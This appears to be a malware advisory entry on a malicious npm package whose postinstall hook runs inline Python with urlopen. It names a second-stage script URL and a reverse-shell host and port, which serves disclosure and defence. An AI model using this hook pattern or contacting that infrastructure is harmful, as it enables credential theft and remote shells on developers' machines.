GCVE-110-OSM-2026-5898

The package executes an inline Python one-liner via a postinstall hook (`python3 -c "..."`) that calls `urllib.request.urlopen(` — a canonical pattern for data exfiltration on install. The attacker model is install-time callback: the postinstall script runs arbitrary Python immediately after `npm install`, makes an outbound HTTP request (likely to a webhook or attacker-controlled endpoint), and can transmit environment variables, credentials, or system metadata. The publisher account is approximately 73 minutes old at publish time, has exactly two packages both named 'meowmeow1*', no description, no repository, and no prior history — all consistent with a throwaway burner account used in a single malicious campaign. The static scorer underweighted this combination because the IOC URL was not extracted, but the structural pattern (postinstall + inline Python + urlopen) is sufficient for a malicious verdict. ENTRY - Postinstall Script in package.json: ""postinstall": "python3 -c \"" SECOND STAGE - Downloads https://raw.githubusercontent.com/ganjanuss3521/meowww/refs/heads/main/meow.py THIRD STAGE - meow.py connects to 213.163.203.227 port 4444 and opens a shell EXFIL - Network Request in package.json: "urllib.request.urlopen("